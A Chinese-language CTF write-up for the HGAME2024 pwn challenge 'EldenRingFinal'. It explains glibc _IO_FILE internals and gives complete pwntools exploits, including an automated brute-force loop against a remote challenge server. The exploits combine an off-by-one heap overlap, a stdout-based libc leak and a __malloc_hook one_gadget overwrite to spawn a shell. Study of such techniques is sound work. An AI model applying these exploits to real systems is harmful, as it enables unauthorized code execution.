[HGAME2024] Week4-EldenRingFinal - 堆风水+IO_FILE

# [HGAME2024] Week4-EldenRingFinal

# 题目描述

年轻人的第一道 IO_FILE 题目

结构体比较复杂的 heap,看似 free 函数之后没有清空指针会有 uaf 漏洞,但是由于 chunk 之间采用链表链接,取出 chunk 也就没法遍历到了,所以就相当于清空指针的作用。而且创建指向内容的 chunk 的 chunk 在 malloc 之后也写入了新东西,所以没法直接 UAF。






add_note 函数在往 chunk 写入内容的时候有 Off-By-One 漏洞,因此我们能使用 chunk extend 来覆盖之后的 chunk 实现 UAF 的效果。

但是没有提供 show 函数,也就没法直接 leak libc 了。

于是直接打 IO_FILE 结构体来 leak 出 libc

# IO_FILE struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

可以看到结构体的 vtable 中存储着一堆的函数指针,据说可以伪造 vtable 来 get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _IO_FILE_plus;

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可以看到_IO_FILE 结构体保存的是读写的指针以及 flags,可知 stdin,stdout,stderr 都各有一个这样的结构体。

read write 各有 ptr end base 三个项目,分别表示当前指针,结束位置指针,开始位置指针。

_chain 指针就是把这几个结构体和_IO_FILE_all 串联起来了。

# IO_FILE - 调试

从理论到实践
打开 IDA,直接看.bss 上面的三个结构体,分别就是 stdout,stdin,stderr 的结构体

用 gdb 调试

我们进入 stdout 结构体的 (_IO_FILE) file 看一下,就是_IO_FILE 结构体了

# IO_FILE leak - 利用

我们把_flags 修改为 0xfbadxxxx,清空 read 的三个指针,再把 write 的 base 指针最低一个字节修改就可以打印从 base 到 ptr 的内容

泄露_IO_file_jumps:

1
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"

泄露_IO_2_1_stdin_:

1
payload = p64(0xfbad3887)+p64(0)*3+p8(0)

# 堆风水 + Off-By-One - 利用

首先我们要 leak libc,就要把一个 chunk 申请到 stdout 结构体那里把 stdout 给改成对应内容。由于没有 libc 基址,我们需要采用修改 free 的 unsortedbin 的 fd 的低位的方法实现得到 stdout 结构体的 fake chunk 的效果

由于 unsortedbin 以及 small,large bin 都是双向链表,我们很难采用这种他们来申请到 fake chunk。于是我们就需要用 Off-By-One 来把这个 unsortedbin 的 size 改为 0x71 并且把它串到 0x70size 的 fastbin 链表上面。

这题的 chunk 的结构相对比较复杂,但是我们如果采用某种方法把存储内容的 chunk 都放在连续的内存上面,那么 Off-By-One 就非常容易利用了。

这个过程很简单,不再详述。
之后就是修改下一个 chunk 的 size 位,让它覆盖到下一个 chunk,为了过 prev_inuse (nextchunk) 的检测,这里我直接覆盖了两个 chunk.

把这个大的 chunk free 掉,再 malloc 就可以实现写入下面的堆块的效果了,我们修改下一个 chunk (0x71) 的 fd 的低位,使它指向那个 unsortedbin,之后再用一次 Off-By-One 把这个 unsortedbin 的 size 改为 0x71,这样就能通过 fastbin 取出 chunk 的时候关于 chunksize 和 fastbin index 的检查了。

这样我们就可以申请到 fakechunk 并且修改 stdout 结构体了。

之后我们有了 libc 基址,就可以接着改 fd,申请到 hook 那里的 chunk,从而修改 malloc_hook 或者 free_hook 来 get shell 了

# EXP

为了能够在收到 EOF 的时候继续爆破而不用手动重启脚本,我们把整个 exploit 过程封装成函数 pwn (),之后添加:

1
2
3
4
5
6
while 1:
try:
p=remote('139.224.232.162',30369)
pwn()
except:
p.close()

不知道为什么远程改 stdout 结构体的时候最后一位 \x58 的 payload 无法泄露地址,但是本地两种 payload 都可以泄露地址。

还有打 free_hook 的时候 fastbin 的 fake chunk 过不去 size 和 idx 的检查,但是调试了发现 size 是 0x7f 过不去,idx 对应的也是 0x70,很玄学。被迫打 malloc_hook.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './vuln'
p=remote('139.224.232.162',31524)
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.add a page\n");
# puts("2.delete page\n");
# puts("3.add a note\n");
# return puts("4.delete note\n>");
def add_page():
p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
p.sendlineafter("4.delete note\n>","2")
p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
p.sendlineafter("4.delete note\n>","3")
p.sendlineafter("which page would you like to attach to?\n>",str(page))
p.sendlineafter("size:\n>",str(size))
p.sendafter("content:\n>",con)
def dele_note(page,note):
p.sendlineafter("4.delete note\n>","4")
p.sendlineafter("which page_ID?\n>",str(page))
p.sendlineafter("which note_ID would you like to delete?\n>",str(note))

add_page()
add_page()
add_note(0,0x18,b'a')#1
dele_page(2)
add_note(0,0x18,b'a')#2
dele_page(1)
add_note(0,0x60,b'a')#3 0x71
add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd

add_page()
add_note(0,0x18,b'a')#5
dele_page(1)
add_note(0,0x80,b'a')#6 libc
add_note(0,0x18,b'a')#7fzhb

dele_note(0,6)
add_note(0,0x80,b'\xdd\x45')#8

dele_note(0,1)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
dele_note(0,4)
dele_note(0,3)
dele_note(0,2)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10

dele_note(0,5)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11

add_note(0,0x68,b'a')#12
add_note(0,0x68,b'a')#13
add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr

# p.recv()
# p.recv(0x50)
p.recvuntil(b'\x7f')
# gdb.attach(p)
p.recv(2)
base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
# base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
hook=base+0x3C3B10-0x23
one=base+0xf0897
print(hex(base))
print(hex(hook))
print(hex(one))
# hack in page0
dele_note(0,12)
dele_note(0,10)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
print(hex(base))
print(hex(hook))
print(hex(one))
add_note(0,0x68,b'a')
add_note(0,0x68,b'\x00'*0x13+p64(one))
# dele_note(0,15)
add_page()
# gdb.attach(p)
p.interactive()

# .bss:00000000003C57A8 ?? __free_hook 0x7fd92fc00000 base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00 __malloc_hook 0x7fd92fc00000 base+0x3C3B10-0x23

# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230

# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

自动爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './vuln'

# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.add a page\n");
# puts("2.delete page\n");
# puts("3.add a note\n");
# return puts("4.delete note\n>");
def add_page():
p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
p.sendlineafter("4.delete note\n>","2")
p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
p.sendlineafter("4.delete note\n>","3")
p.sendlineafter("which page would you like to attach to?\n>",str(page))
p.sendlineafter("size:\n>",str(size))
p.sendafter("content:\n>",con)
def dele_note(page,note):
p.sendlineafter("4.delete note\n>","4")
p.sendlineafter("which page_ID?\n>",str(page))
p.sendlineafter("which note_ID would you like to delete?\n>",str(note))

def pwn():
add_page()
add_page()
add_note(0,0x18,b'a')#1
dele_page(2)
add_note(0,0x18,b'a')#2
dele_page(1)
add_note(0,0x60,b'a')#3 0x71
add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd

add_page()
add_note(0,0x18,b'a')#5
dele_page(1)
add_note(0,0x80,b'a')#6 libc
add_note(0,0x18,b'a')#7fzhb

dele_note(0,6)
add_note(0,0x80,b'\xdd\x45')#8

dele_note(0,1)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
dele_note(0,4)
dele_note(0,3)
dele_note(0,2)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10

dele_note(0,5)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11

add_note(0,0x68,b'a')#12
add_note(0,0x68,b'a')#13
add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr
# p.recv()
# p.recv(0x50)
p.recvuntil(b'\x7f')
# gdb.attach(p)
p.recv(2)
base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
# base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
hook=base+0x3C3B10-0x23
one=base+0xf0897
print(hex(base))
print(hex(hook))
print(hex(one))
# hack in page0
dele_note(0,12)
dele_note(0,10)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
print(hex(base))
print(hex(hook))
print(hex(one))
add_note(0,0x68,b'a')
add_note(0,0x68,b'\x00'*0x13+p64(one))
# dele_note(0,15)
add_page()
# gdb.attach(p)
p.interactive()

while 1:
try:
p=remote('139.224.232.162',30369)
pwn()
except:
p.close()

# .bss:00000000003C57A8 ?? __free_hook 0x7fd92fc00000 base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00 __malloc_hook 0x7fd92fc00000 base+0x3C3B10-0x23

# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230

# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

# 也许,我们并不需要爆破???

我们爆破是为了让 fd 指向我们固定的 chunk,如果让这个 fd 原本指向的地址和那个 chunk 的 offset 很小,那么我们只需要修改最后一个字节就 OK 了。
但是这样做增加了堆风水的难度,但是可行的。(把 0x30 的 chunk 扔出去,把那几个 chunk 的 size 缩小一下就可以了)